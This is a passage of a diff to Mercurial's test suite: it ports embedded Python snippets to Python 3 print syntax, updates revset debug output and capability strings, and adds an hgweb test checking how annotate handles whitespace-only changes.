 Test --follow-first and forward --rev
 
@@ -2214,10 +2221,10 @@
   ['6', '8', '5', '7', '4']
   (group
     (func
-      ('symbol', '_firstdescendants')
+      (symbol '_firstdescendants')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
   --- log.nodes	* (glob)
   +++ glog.nodes	* (glob)
   @@ -1,3 +1,3 @@
@@ -2232,10 +2239,10 @@
   ['6', '5', '7', '8', '4']
   (group
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Test --follow-first and backward --rev
 
@@ -2243,10 +2250,10 @@
   ['6', '5', '7', '8', '4']
   (group
     (func
-      ('symbol', '_firstancestors')
+      (symbol '_firstancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Test --follow with --rev of graphlog extension
 
@@ -2264,25 +2271,25 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:.'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:.'))))
   $ testlog ../b
   []
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', '../b'))))
+        (symbol 'filelog')
+        (string '../b'))))
   $ testlog -f ../b
   []
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'b'))))
+        (symbol 'follow')
+        (string 'b'))))
   $ cd ..
 
 Test --hidden
@@ -2290,7 +2297,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg debugobsolete `hg id --debug -i -r 8`
diff --git a/tests/test-graft.t b/tests/test-graft.t
--- a/tests/test-graft.t
+++ b/tests/test-graft.t
@@ -221,6 +221,25 @@
   $ hg summary |grep graft
   commit: 2 modified, 2 unknown, 1 unresolved (graft in progress)
 
+Using status to get more context
+
+  $ hg status --verbose
+  M d
+  M e
+  ? a.orig
+  ? e.orig
+  # The repository is in an unfinished *graft* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     e
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg graft --continue
+  # To abort:                   hg update --clean .    (warning: this will discard uncommitted changes)
+  
+
 Commit while interrupted should fail:
 
   $ hg ci -m 'commit interrupted graft'
diff --git a/tests/test-hardlinks.t b/tests/test-hardlinks.t
--- a/tests/test-hardlinks.t
+++ b/tests/test-hardlinks.t
@@ -1,11 +1,12 @@
 #require hardlink
 
   $ cat > nlinks.py <<EOF
+  > from __future__ import print_function
   > import sys
   > from mercurial import util
   > for f in sorted(sys.stdin.readlines()):
   >     f = f[:-1]
-  >     print util.nlinks(f), f
+  >     print(util.nlinks(f), f)
   > EOF
 
   $ nlinksdir()
@@ -16,8 +17,9 @@
 Some implementations of cp can't create hardlinks (replaces 'cp -al' on Linux):
 
   $ cat > linkcp.py <<EOF
+  > from __future__ import absolute_import
+  > import sys
   > from mercurial import util
-  > import sys
   > util.copyfiles(sys.argv[1], sys.argv[2], hardlink=True)
   > EOF
 
@@ -75,6 +77,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 40d85e9847f2:7069c422939c
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-help.t b/tests/test-help.t
--- a/tests/test-help.t
+++ b/tests/test-help.t
@@ -553,6 +553,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
    -U --unified NUM         number of lines of context to show
       --stat                output diffstat-style summary of changes
       --root DIR            produce diffs relative to subdirectory
@@ -1516,8 +1517,8 @@
   > 
   > This paragraph is never omitted, too (for extension)
   > '''
-  > 
-  > from mercurial import help, commands
+  > from __future__ import absolute_import
+  > from mercurial import commands, help
   > testtopic = """This paragraph is never omitted (for topic).
   > 
   > .. container:: verbose
@@ -1709,7 +1710,7 @@
 
   $ $PYTHON <<EOF | sh
   > upper = "\x8bL\x98^"
-  > print "hg --encoding cp932 help -e ambiguous.%s" % upper
+  > print("hg --encoding cp932 help -e ambiguous.%s" % upper)
   > EOF
   \x8bL\x98^ (esc)
   ----
@@ -1719,7 +1720,7 @@
 
   $ $PYTHON <<EOF | sh
   > lower = "\x8bl\x98^"
-  > print "hg --encoding cp932 help -e ambiguous.%s" % lower
+  > print("hg --encoding cp932 help -e ambiguous.%s" % lower)
   > EOF
   \x8bl\x98^ (esc)
   ----
diff --git a/tests/test-hgweb-annotate-whitespace.t b/tests/test-hgweb-annotate-whitespace.t
new file mode 100644
--- /dev/null
+++ b/tests/test-hgweb-annotate-whitespace.t
@@ -0,0 +1,788 @@
+#require serve
+
+Create a repo with whitespace only changes
+
+  $ hg init repo-with-whitespace
+  $ cd repo-with-whitespace
+  $ cat > foo << EOF
+  > line 0
+  > line 1
+  > line 2
+  > line 3
+  > EOF
+  $ hg -q commit -A -m 'commit 0'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  > line 2
+  > line 3
+  > EOF
+  $ hg commit -m 'commit 1'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  >     line 2
+  > line 3
+  > EOF
+  $ hg commit -m 'commit 2 (leading whitespace on line 2)'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+Need to use printf to avoid check-code complaining about trailing whitespace.
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 3 (trailing whitespace on line 3)'
+  $ cat > foo << EOF
+  > line  0
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 4 (intra whitespace on line 0)'
+  $ cat > foo << EOF
+  > line  0
+  > 
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 5 (add blank line between line 0 and 1)'
+  $ cat > foo << EOF
+  > line  0
+  > 
+  > 
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 6 (add another blank line between line 0 and 1)'
+
+  $ hg log -G -T '{rev}:{node|short} {desc}'
+  @  6:9d1b2c7db017 commit 6 (add another blank line between line 0 and 1)
+  |
+  o  5:400ef1d40470 commit 5 (add blank line between line 0 and 1)
+  |
+  o  4:08adbe269f24 commit 4 (intra whitespace on line 0)
+  |
+  o  3:dcb62cfbfc9b commit 3 (trailing whitespace on line 3)
+  |
+  o  2:6bdb694e7b8c commit 2 (leading whitespace on line 2)
+  |
+  o  1:23e1e37387dc commit 1
+  |
+  o  0:b9c578134d72 commit 0
+  
+
+  $ hg serve -p $HGPORT -d --pid-file hg.pid
+  $ cat hg.pid >> $DAEMON_PIDS
+  $ hg serve --config annotate.ignorews=true -p $HGPORT1 -d --pid-file hg.pid
+  $ cat hg.pid >> $DAEMON_PIDS
+  $ cd ..
+
+Annotate works
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+annotate.ignorews=1 config option is honored
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorews=1 query string argument enables whitespace skipping
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorews=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorews=0 query string argument disables when config defaults to enabled
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo?ignorews=0'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorewsamount=1 query string enables whitespace amount skipping
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewsamount=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorewseol=1 query string enables whitespace end of line skipping
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewseol=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignoreblanklines=1 query string enables whitespace blank line skipping
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignoreblanklines=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
diff --git a/tests/test-hgweb-auth.py b/tests/test-hgweb-auth.py
--- a/tests/test-hgweb-auth.py
+++ b/tests/test-hgweb-auth.py
@@ -25,7 +25,7 @@
 
 def dumpdict(dict):
     return '{' + ', '.join(['%s: %s' % (k, dict[k])
-                            for k in sorted(dict.iterkeys())]) + '}'
+                            for k in sorted(dict)]) + '}'
 
 def test(auth, urls=None):
     print('CFG:', dumpdict(auth))
diff --git a/tests/test-hgweb-commands.t b/tests/test-hgweb-commands.t
--- a/tests/test-hgweb-commands.t
+++ b/tests/test-hgweb-commands.t
@@ -1926,7 +1926,7 @@
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities'; echo
   200 Script output follows
   
-  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*zlib (glob)
+  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*zlib (glob)
 
 heads
 
@@ -2174,7 +2174,7 @@
   batch
   stream-preferred
   streamreqs=generaldelta,revlogv1
-  bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps
+  bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps
   unbundle=HG10GZ,HG10BZ,HG10UN
   httpheader=1024
   httpmediatype=0.1rx,0.1tx,0.2tx
diff --git a/tests/test-hgweb-csp.t b/tests/test-hgweb-csp.t
--- a/tests/test-hgweb-csp.t
+++ b/tests/test-hgweb-csp.t
@@ -110,7 +110,7 @@
 
   $ killdaemons.py
 
-  $ hg -R repo1 serve -p $HGPORT -d --pid-file=hg.pid --config "web.csp=image-src 'self'; script-src https://example.com/ 'nonce-%nonce%'"
+  $ hg serve -R repo1 -p $HGPORT -d --pid-file=hg.pid --config "web.csp=image-src 'self'; script-src https://example.com/ 'nonce-%nonce%'"
   $ cat hg.pid > $DAEMON_PIDS
 
 static page sends CSP
diff --git a/tests/test-hgweb-diffs.t b/tests/test-hgweb-diffs.t
--- a/tests/test-hgweb-diffs.t
+++ b/tests/test-hgweb-diffs.t
@@ -1111,6 +1111,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 0cd96de13884
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd test1
diff --git a/tests/test-hgweb-no-path-info.t b/tests/test-hgweb-no-path-info.t
--- a/tests/test-hgweb-no-path-info.t
+++ b/tests/test-hgweb-no-path-info.t
@@ -31,11 +31,11 @@
   > input = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -59,8 +59,8 @@
   >     sys.stdout.write(output.getvalue())
   >     sys.stdout.write(''.join(content))
   >     getattr(content, 'close', lambda : None)()
-  >     print '---- ERRORS'
-  >     print errors.getvalue()
+  >     print('---- ERRORS')
+  >     print(errors.getvalue())
   > 
   > output = stringio()
   > env['QUERY_STRING'] = 'style=atom'
diff --git a/tests/test-hgweb-no-request-uri.t b/tests/test-hgweb-no-request-uri.t
--- a/tests/test-hgweb-no-request-uri.t
+++ b/tests/test-hgweb-no-request-uri.t
@@ -31,11 +31,11 @@
   > input = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -58,8 +58,8 @@
   >     sys.stdout.write(output.getvalue())
   >     sys.stdout.write(''.join(content))
   >     getattr(content, 'close', lambda : None)()
-  >     print '---- ERRORS'
-  >     print errors.getvalue()
+  >     print('---- ERRORS')
+  >     print(errors.getvalue())
   > 
   > output = stringio()
   > env['PATH_INFO'] = '/'
diff --git a/tests/test-hgweb-non-interactive.t b/tests/test-hgweb-non-interactive.t
--- a/tests/test-hgweb-non-interactive.t
+++ b/tests/test-hgweb-non-interactive.t
@@ -41,11 +41,11 @@
   > output = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -68,13 +68,13 @@
   > i = hgweb('.')
   > for c in i(env, startrsp):
   >     pass
-  > print '---- ERRORS'
-  > print errors.getvalue()
-  > print '---- OS.ENVIRON wsgi variables'
-  > print sorted([x for x in os.environ if x.startswith('wsgi')])
-  > print '---- request.ENVIRON wsgi variables'
